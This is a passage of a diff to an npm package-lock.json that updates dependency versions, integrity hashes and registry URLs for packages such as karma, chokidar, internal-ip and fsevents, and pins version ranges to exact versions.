- "ansi-regex": "^3.0.0"
+ "ansi-regex": "4.1.0"
}
},
"supports-color": {
@@ -7886,25 +8449,25 @@
"integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
}
}
},
"internal-ip": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-3.0.1.tgz",
- "integrity": "sha512-NXXgESC2nNVtU+pqmC9e6R8B1GpKxzsAQhffvh5AL79qKnodd+L7tnEQmTiUAVngqLalPbSqRA7XGIEL5nCd0Q==",
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-4.3.0.tgz",
+ "integrity": "sha512-S1zBo1D6zcsyuC6PMmY5+55YMILQ9av8lotMx447Bq6SAgo/sDK6y6uUKmuYhW7eacnIhFfsPmCNYdDzsnnDCg==",
"dev": true,
"requires": {
- "default-gateway": "^2.6.0",
- "ipaddr.js": "^1.5.2"
+ "default-gateway": "4.2.0",
+ "ipaddr.js": "1.9.0"
}
},
"interpret": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.1.0.tgz",
- "integrity": "sha1-ftGxQQxqDg94z5XTuEQMY/eLhhQ=",
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.2.0.tgz",
+ "integrity": "sha512-mT34yGKMNceBQUoVn7iCDKDntA7SC6gycMAWzGx1z/CMCTV7b2AAtXlo3nRyHZ1FelRkQbQjprHSYGwzLtkVbw==",
"dev": true
},
"invariant": {
@@ -7912,7 +8475,7 @@
"resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.2.tgz",
"integrity": "sha1-nh9WrArNtr8wMwbzOL47IErmA2A=",
"requires": {
- "loose-envify": "^1.0.0"
+ "loose-envify": "1.3.1"
}
},
"invert-kv": {
@@ -7933,9 +8496,15 @@
"dev": true
},
"ipaddr.js": {
- "version": "1.8.0",
- "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.8.0.tgz",
- "integrity": "sha1-6qM9bd16zo9/b+DJygRA5wZzix4=",
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.0.tgz",
+ "integrity": "sha512-M4Sjn6N/+O6/IXSJseKqHoFc+5FdGJ22sXqnjTpdZweHK64MzEPAyQZyEU3R/KRv2GLoa7nNtg/C2Ev6m7z+eA==",
+ "dev": true
+ },
+ "is-absolute-url": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-3.0.2.tgz",
+ "integrity": "sha512-+5g/wLlcm1AcxSP7014m6GvbPHswDx980vD/3bZaap8aGV9Yfs7Q6y6tfaupgZ5O74Byzc8dGrSCJ+bFXx0KdA==",
"dev": true
},
"is-accessor-descriptor": {
@@ -7944,9 +8513,15 @@
"integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
}
},
+ "is-arguments": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.0.4.tgz",
+ "integrity": "sha512-xPh0Rmt8NE65sNzvyUmWgI1tz3mKq74lGA0mL8LYZcoIzKOzDh6HmrYm3d18k60nHerC8A9Km8kYu87zfSFnLA==",
+ "dev": true
+ },
"is-arrayish": {
"version": "0.2.1",
"resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
@@ -7958,7 +8533,7 @@
"integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=",
"dev": true,
"requires": {
- "binary-extensions": "^1.0.0"
+ "binary-extensions": "1.9.0"
}
},
"is-buffer": {
@@ -7972,7 +8547,7 @@
"resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz",
"integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=",
"requires": {
- "builtin-modules": "^1.0.0"
+ "builtin-modules": "1.1.1"
}
},
"is-callable": {
@@ -7987,7 +8562,7 @@
"integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
}
},
"is-date-object": {
@@ -8002,9 +8577,9 @@
"integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^0.1.6",
- "is-data-descriptor": "^0.1.4",
- "kind-of": "^5.0.0"
+ "is-accessor-descriptor": "0.1.6",
+ "is-data-descriptor": "0.1.4",
+ "kind-of": "5.1.0"
},
"dependencies": {
"kind-of": {
@@ -8034,13 +8609,14 @@
"dev": true,
"optional": true,
"requires": {
- "is-primitive": "^2.0.0"
+ "is-primitive": "2.0.0"
}
},
"is-extendable": {
"version": "0.1.1",
"resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
- "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik="
+ "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=",
+ "dev": true
},
"is-extglob": {
"version": "1.0.0",
@@ -8053,7 +8629,7 @@
"resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz",
"integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=",
"requires": {
- "number-is-nan": "^1.0.0"
+ "number-is-nan": "1.0.1"
}
},
"is-fullwidth-code-point": {
@@ -8067,7 +8643,7 @@
"integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=",
"dev": true,
"requires": {
- "is-extglob": "^1.0.0"
+ "is-extglob": "1.0.0"
}
},
"is-number": {
@@ -8077,31 +8653,31 @@
"dev": true,
"optional": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
}
},
"is-path-cwd": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-1.0.0.tgz",
- "integrity": "sha1-0iXsIxMuie3Tj9p2dHLmLmXxEG0=",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz",
+ "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==",
"dev": true
},
"is-path-in-cwd": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-1.0.1.tgz",
- "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-2.1.0.tgz",
+ "integrity": "sha512-rNocXHgipO+rvnP6dk3zI20RpOtrAM/kzbB258Uw5BWr3TpXi861yzjo16Dn4hUox07iw5AyeMLHWsujkjzvRQ==",
"dev": true,
"requires": {
- "is-path-inside": "^1.0.0"
+ "is-path-inside": "2.1.0"
}
},
"is-path-inside": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz",
- "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-2.1.0.tgz",
+ "integrity": "sha512-wiyhTzfDWsvwAW53OBWF5zuvaOGlZ6PwYxAbPVDhpm+gM09xKQGjBq/8uYN12aDvMxnAnq3dxTyoSoRNmg5YFg==",
"dev": true,
"requires": {
- "path-is-inside": "^1.0.1"
+ "path-is-inside": "1.0.2"
}
},
"is-plain-object": {
@@ -8109,7 +8685,7 @@
"resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
"integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
"requires": {
- "isobject": "^3.0.1"
+ "isobject": "3.0.1"
},
"dependencies": {
"isobject": {
@@ -8144,15 +8720,9 @@
"integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=",
"dev": true,
"requires": {
- "has": "^1.0.1"
+ "has": "1.0.3"
}
},
- "is-resolvable": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz",
- "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==",
- "dev": true
- },
"is-stream": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz",
@@ -8197,7 +8767,7 @@
"integrity": "sha512-8cJBL5tTd2OS0dM4jz07wQd5g0dCCqIhUxPIGtZfa5L6hWlvV5MHTITy/DBAsF+Oe2LS1X3krBUhNwaGUWpWxw==",
"dev": true,
"requires": {
- "buffer-alloc": "^1.2.0"
+ "buffer-alloc": "1.2.0"
}
},
"isexe": {
@@ -8229,8 +8799,8 @@
"resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz",
"integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=",
"requires": {
- "node-fetch": "^1.0.1",
- "whatwg-fetch": ">=0.10.0"
+ "node-fetch": "1.7.3",
+ "whatwg-fetch": "3.0.0"
}
},
"isstream": {
@@ -8244,20 +8814,20 @@
"integrity": "sha1-ZcfXPUxNqE1POsMQuRj7C4Azczs=",
"dev": true,
"requires": {
- "abbrev": "1.0.x",
- "async": "1.x",
- "escodegen": "1.8.x",
- "esprima": "2.7.x",
- "glob": "^5.0.15",
- "handlebars": "^4.0.1",
- "js-yaml": "3.x",
- "mkdirp": "0.5.x",
- "nopt": "3.x",
- "once": "1.x",
- "resolve": "1.1.x",
- "supports-color": "^3.1.0",
- "which": "^1.1.1",
- "wordwrap": "^1.0.0"
+ "abbrev": "1.0.9",
+ "async": "1.5.2",
+ "escodegen": "1.8.1",
+ "esprima": "2.7.3",
+ "glob": "5.0.15",
+ "handlebars": "4.0.11",
+ "js-yaml": "3.7.0",
+ "mkdirp": "0.5.1",
+ "nopt": "3.0.6",
+ "once": "1.4.0",
+ "resolve": "1.1.7",
+ "supports-color": "3.2.3",
+ "which": "1.3.0",
+ "wordwrap": "1.0.0"
},
"dependencies": {
"glob": {
@@ -8266,11 +8836,11 @@
"integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=",
"dev": true,
"requires": {
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "2 || 3",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
+ "inflight": "1.0.6",
+ "inherits": "2.0.3",
+ "minimatch": "3.0.4",
+ "once": "1.4.0",
+ "path-is-absolute": "1.0.1"
}
},
"resolve": {
@@ -8285,7 +8855,7 @@
"integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=",
"dev": true,
"requires": {
- "has-flag": "^1.0.0"
+ "has-flag": "1.0.0"
}
}
}
@@ -8296,9 +8866,9 @@
"integrity": "sha512-M7kLczedRMYX4L8Mdh4MzyAMM9O5osx+4FcOQuTvr3A9F2D9S5JXheN0ewNbrvK2UatkTRhL5ejGmGSjNMiZuw=="
},
"js-file-download": {
- "version": "0.4.4",
- "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.4.tgz",
- "integrity": "sha512-lH75hwOMBkIDqIyAWgSYwkMa+YkBu/ATJf2rEXnC1TmHCCHmLNG/NFhZ6R4tipnH2v0EvLOhGlARc0vyS1j0mA=="
+ "version": "0.4.8",
+ "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.8.tgz",
+ "integrity": "sha512-8xygX/IkjQbr/2nWqJnyc0IWOMvA1R/78HQVyexB22YZDBAEz2MG59s+ieLFKOkDFzyDDk3bezKXEjyGW5HPCw=="
},
"js-tokens": {
"version": "3.0.2",
@@ -8311,8 +8881,8 @@
"integrity": "sha1-XJZ93YN6m/3KXy3oQlOr6KHAO4A=",
"dev": true,
"requires": {
- "argparse": "^1.0.7",
- "esprima": "^2.6.0"
+ "argparse": "1.0.9",
+ "esprima": "2.7.3"
}
},
"jsbn": {
@@ -8345,7 +8915,8 @@
"json-schema-traverse": {
"version": "0.3.1",
"resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz",
- "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A="
+ "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=",
+ "dev": true
},
"json-stable-stringify-without-jsonify": {
"version": "1.0.1",
@@ -8359,9 +8930,9 @@
"integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus="
},
"json3": {
- "version": "3.3.2",
- "resolved": "https://registry.npmjs.org/json3/-/json3-3.3.2.tgz",
- "integrity": "sha1-PAQ0dD35Pi9cQq7nsZvLSDV19OE=",
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/json3/-/json3-3.3.3.tgz",
+ "integrity": "sha512-c7/8mbUsKigAbLkD5B010BK4D9LZm7A1pNItkEwiUZRpIN66exu/e7YQWysGun+TRKaJp8MhemM+VkfWv42aCA==",
"dev": true
},
"json5": {
@@ -8376,7 +8947,7 @@
"integrity": "sha1-NzaitCi4e72gzIO1P6PWM6NcKug=",
"dev": true,
"requires": {
- "graceful-fs": "^4.1.6"
+ "graceful-fs": "4.1.11"
}
},
"jsprim": {
@@ -8391,12 +8962,13 @@
}
},
"jsx-ast-utils": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.0.1.tgz",
- "integrity": "sha1-6AGxs5mF4g//yHtA43SAgOLcrH8=",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.2.1.tgz",
+ "integrity": "sha512-v3FxCcAf20DayI+uxnCuw795+oOIkVu6EnJ1+kSzhqqTZHNkTZ7B66ZgLp4oLJ/gbA64cI0B7WRoHZMSRdyVRQ==",
"dev": true,
"requires": {
- "array-includes": "^3.0.3"
+ "array-includes": "3.0.3",
+ "object.assign": "4.1.0"
}
},
"jwt-decode": {
@@ -8405,38 +8977,39 @@
"integrity": "sha1-fYa9VmefWM5qhHBKZX3TkruoGnk="
},
"karma": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/karma/-/karma-3.0.0.tgz",
- "integrity": "sha512-ZTjyuDXVXhXsvJ1E4CnZzbCjSxD6sEdzEsFYogLuZM0yqvg/mgz+O+R1jb0J7uAQeuzdY8kJgx6hSNXLwFuHIQ==",
+ "version": "3.1.4",
+ "resolved": "https://registry.npmjs.org/karma/-/karma-3.1.4.tgz",
+ "integrity": "sha512-31Vo8Qr5glN+dZEVIpnPCxEGleqE0EY6CtC2X9TagRV3rRQ3SNrvfhddICkJgUK3AgqpeKSZau03QumTGhGoSw==",
"dev": true,
"requires": {
- "bluebird": "^3.3.0",
- "body-parser": "^1.16.1",
- "chokidar": "^2.0.3",
- "colors": "^1.1.0",
- "combine-lists": "^1.0.0",
- "connect": "^3.6.0",
- "core-js": "^2.2.0",
- "di": "^0.0.1",
- "dom-serialize": "^2.2.0",
- "expand-braces": "^0.1.1",
- "glob": "^7.1.1",
- "graceful-fs": "^4.1.2",
- "http-proxy": "^1.13.0",
- "isbinaryfile": "^3.0.0",
- "lodash": "^4.17.4",
- "log4js": "^3.0.0",
- "mime": "^2.3.1",
- "minimatch": "^3.0.2",
- "optimist": "^0.6.1",
- "qjobs": "^1.1.4",
- "range-parser": "^1.2.0",
- "rimraf": "^2.6.0",
- "safe-buffer": "^5.0.1",
+ "bluebird": "3.5.5",
+ "body-parser": "1.19.0",
+ "chokidar": "2.1.8",
+ "colors": "1.3.3",
+ "combine-lists": "1.0.1",
+ "connect": "3.7.0",
+ "core-js": "2.6.9",
+ "di": "0.0.1",
+ "dom-serialize": "2.2.1",
+ "expand-braces": "0.1.2",
+ "flatted": "2.0.1",
+ "glob": "7.1.4",
+ "graceful-fs": "4.1.11",
+ "http-proxy": "1.18.0",
+ "isbinaryfile": "3.0.3",
+ "lodash": "4.17.10",
+ "log4js": "3.0.6",
+ "mime": "2.3.1",
+ "minimatch": "3.0.4",
+ "optimist": "0.6.1",
+ "qjobs": "1.2.0",
+ "range-parser": "1.2.0",
+ "rimraf": "2.7.1",
+ "safe-buffer": "5.1.1",
"socket.io": "2.1.1",
- "source-map": "^0.6.1",
+ "source-map": "0.6.1",
"tmp": "0.0.33",
- "useragent": "2.2.1"
+ "useragent": "2.3.0"
},
"dependencies": {
"anymatch": {
@@ -8445,8 +9018,19 @@
"integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
"dev": true,
"requires": {
- "micromatch": "^3.1.4",
- "normalize-path": "^2.1.1"
+ "micromatch": "3.1.10",
+ "normalize-path": "2.1.1"
+ },
+ "dependencies": {
+ "normalize-path": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+ "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=",
+ "dev": true,
+ "requires": {
+ "remove-trailing-separator": "1.0.2"
+ }
+ }
}
},
"arr-diff": {
@@ -8467,16 +9051,16 @@
"integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
"dev": true,
"requires": {
- "arr-flatten": "^1.1.0",
- "array-unique": "^0.3.2",
- "extend-shallow": "^2.0.1",
- "fill-range": "^4.0.0",
- "isobject": "^3.0.1",
- "repeat-element": "^1.1.2",
- "snapdragon": "^0.8.1",
- "snapdragon-node": "^2.0.1",
- "split-string": "^3.0.2",
- "to-regex": "^3.0.1"
+ "arr-flatten": "1.1.0",
+ "array-unique": "0.3.2",
+ "extend-shallow": "2.0.1",
+ "fill-range": "4.0.0",
+ "isobject": "3.0.1",
+ "repeat-element": "1.1.2",
+ "snapdragon": "0.8.2",
+ "snapdragon-node": "2.1.1",
+ "split-string": "3.1.0",
+ "to-regex": "3.0.2"
},
"dependencies": {
"extend-shallow": {
@@ -8485,30 +9069,29 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
},
"chokidar": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz",
- "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==",
+ "version": "2.1.8",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz",
+ "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==",
"dev": true,
"requires": {
- "anymatch": "^2.0.0",
- "async-each": "^1.0.0",
- "braces": "^2.3.0",
- "fsevents": "^1.2.2",
- "glob-parent": "^3.1.0",
- "inherits": "^2.0.1",
- "is-binary-path": "^1.0.0",
- "is-glob": "^4.0.0",
- "lodash.debounce": "^4.0.8",
- "normalize-path": "^2.1.1",
- "path-is-absolute": "^1.0.0",
- "readdirp": "^2.0.0",
- "upath": "^1.0.5"
+ "anymatch": "2.0.0",
+ "async-each": "1.0.1",
+ "braces": "2.3.2",
+ "fsevents": "1.2.9",
+ "glob-parent": "3.1.0",
+ "inherits": "2.0.3",
+ "is-binary-path": "1.0.1",
+ "is-glob": "4.0.1",
+ "normalize-path": "3.0.0",
+ "path-is-absolute": "1.0.1",
+ "readdirp": "2.2.1",
+ "upath": "1.2.0"
}
},
"expand-brackets": {
@@ -8517,13 +9100,13 @@
"integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
"dev": true,
"requires": {
- "debug": "^2.3.3",
- "define-property": "^0.2.5",
- "extend-shallow": "^2.0.1",
- "posix-character-classes": "^0.1.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "debug": "2.6.8",
+ "define-property": "0.2.5",
+ "extend-shallow": "2.0.1",
+ "posix-character-classes": "0.1.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"define-property": {
@@ -8532,7 +9115,7 @@
"integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
"dev": true,
"requires": {
- "is-descriptor": "^0.1.0"
+ "is-descriptor": "0.1.6"
}
},
"extend-shallow": {
@@ -8541,7 +9124,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
},
"is-accessor-descriptor": {
@@ -8550,7 +9133,7 @@
"integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -8559,7 +9142,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -8570,7 +9153,7 @@
"integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -8579,7 +9162,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -8590,9 +9173,9 @@
"integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^0.1.6",
- "is-data-descriptor": "^0.1.4",
- "kind-of": "^5.0.0"
+ "is-accessor-descriptor": "0.1.6",
+ "is-data-descriptor": "0.1.4",
+ "kind-of": "5.1.0"
}
},
"kind-of": {
@@ -8609,14 +9192,14 @@
"integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
"dev": true,
"requires": {
- "array-unique": "^0.3.2",
- "define-property": "^1.0.0",
- "expand-brackets": "^2.1.4",
- "extend-shallow": "^2.0.1",
- "fragment-cache": "^0.2.1",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "array-unique": "0.3.2",
+ "define-property": "1.0.0",
+ "expand-brackets": "2.1.4",
+ "extend-shallow": "2.0.1",
+ "fragment-cache": "0.2.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"define-property": {
@@ -8625,7 +9208,7 @@
"integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
"dev": true,
"requires": {
- "is-descriptor": "^1.0.0"
+ "is-descriptor": "1.0.2"
}
},
"extend-shallow": {
@@ -8634,7 +9217,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -8645,10 +9228,10 @@
"integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
"dev": true,
"requires": {
- "extend-shallow": "^2.0.1",
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1",
- "to-regex-range": "^2.1.0"
+ "extend-shallow": "2.0.1",
+ "is-number": "3.0.0",
+ "repeat-string": "1.6.1",
+ "to-regex-range": "2.1.1"
},
"dependencies": {
"extend-shallow": {
@@ -8657,20 +9240,20 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
},
"fsevents": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz",
- "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==",
+ "version": "1.2.9",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.9.tgz",
+ "integrity": "sha512-oeyj2H3EjjonWcFjD5NvZNE9Rqe4UW+nQBU2HNeKw0koVLEFIhtyETyAakeAM3de7Z/SW5kcA+fZUait9EApnw==",
"dev": true,
"optional": true,
"requires": {
- "nan": "^2.9.2",
- "node-pre-gyp": "^0.10.0"
+ "nan": "2.14.0",
+ "node-pre-gyp": "0.12.0"
},
"dependencies": {
"abbrev": {
@@ -8691,13 +9274,13 @@
"optional": true
},
"are-we-there-yet": {
- "version": "1.1.4",
+ "version": "1.1.5",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "delegates": "^1.0.0",
- "readable-stream": "^2.0.6"
+ "delegates": "1.0.0",
+ "readable-stream": "2.3.6"
}
},
"balanced-match": {
@@ -8710,12 +9293,12 @@
"bundled": true,
"dev": true,
"requires": {
- "balanced-match": "^1.0.0",
+ "balanced-match": "1.0.0",
"concat-map": "0.0.1"
}
},
"chownr": {
- "version": "1.0.1",
+ "version": "1.1.1",
"bundled": true,
"dev": true,
"optional": true
@@ -8742,16 +9325,16 @@
"optional": true
},
"debug": {
- "version": "2.6.9",
+ "version": "4.1.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "ms": "2.0.0"
+ "ms": "2.1.1"
}
},
"deep-extend": {
- "version": "0.5.1",
+ "version": "0.6.0",
"bundled": true,
"dev": true,
"optional": true
@@ -8774,7 +9357,7 @@
"dev": true,
"optional": true,
"requires": {
- "minipass": "^2.2.1"
+ "minipass": "2.3.5"
}
},
"fs.realpath": {
@@ -8789,28 +9372,28 @@
"dev": true,
"optional": true,
"requires": {
- "aproba": "^1.0.3",
- "console-control-strings": "^1.0.0",
- "has-unicode": "^2.0.0",
- "object-assign": "^4.1.0",
- "signal-exit": "^3.0.0",
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1",
- "wide-align": "^1.1.0"
+ "aproba": "1.2.0",
+ "console-control-strings": "1.1.0",
+ "has-unicode": "2.0.1",
+ "object-assign": "4.1.1",
+ "signal-exit": "3.0.2",
+ "string-width": "1.0.2",
+ "strip-ansi": "3.0.1",
+ "wide-align": "1.1.3"
}
},
"glob": {
- "version": "7.1.2",
+ "version": "7.1.3",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "fs.realpath": "^1.0.0",
- "inflight": "^1.0.4",
- "inherits": "2",
- "minimatch": "^3.0.4",
- "once": "^1.3.0",
- "path-is-absolute": "^1.0.0"
+ "fs.realpath": "1.0.0",
+ "inflight": "1.0.6",
+ "inherits": "2.0.3",
+ "minimatch": "3.0.4",
+ "once": "1.4.0",
+ "path-is-absolute": "1.0.1"
}
},
"has-unicode": {
@@ -8820,12 +9403,12 @@
"optional": true
},
"iconv-lite": {
- "version": "0.4.21",
+ "version": "0.4.24",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "safer-buffer": "^2.1.0"
+ "safer-buffer": "2.1.2"
}
},
"ignore-walk": {
@@ -8834,7 +9417,7 @@
"dev": true,
"optional": true,
"requires": {
- "minimatch": "^3.0.4"
+ "minimatch": "3.0.4"
}
},
"inflight": {
@@ -8843,8 +9426,8 @@
"dev": true,
"optional": true,
"requires": {
- "once": "^1.3.0",
- "wrappy": "1"
+ "once": "1.4.0",
+ "wrappy": "1.0.2"
}
},
"inherits": {
@@ -8863,7 +9446,7 @@
"bundled": true,
"dev": true,
"requires": {
- "number-is-nan": "^1.0.0"
+ "number-is-nan": "1.0.1"
}
},
"isarray": {
@@ -8877,7 +9460,7 @@
"bundled": true,
"dev": true,
"requires": {
- "brace-expansion": "^1.1.7"
+ "brace-expansion": "1.1.11"
}
},
"minimist": {
@@ -8886,21 +9469,21 @@
"dev": true
},
"minipass": {
- "version": "2.2.4",
+ "version": "2.3.5",
"bundled": true,
"dev": true,
"requires": {
- "safe-buffer": "^5.1.1",
- "yallist": "^3.0.0"
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.3"
}
},
"minizlib": {
- "version": "1.1.0",
+ "version": "1.2.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "minipass": "^2.2.1"
+ "minipass": "2.3.5"
}
},
"mkdirp": {
@@ -8912,38 +9495,38 @@
}
},
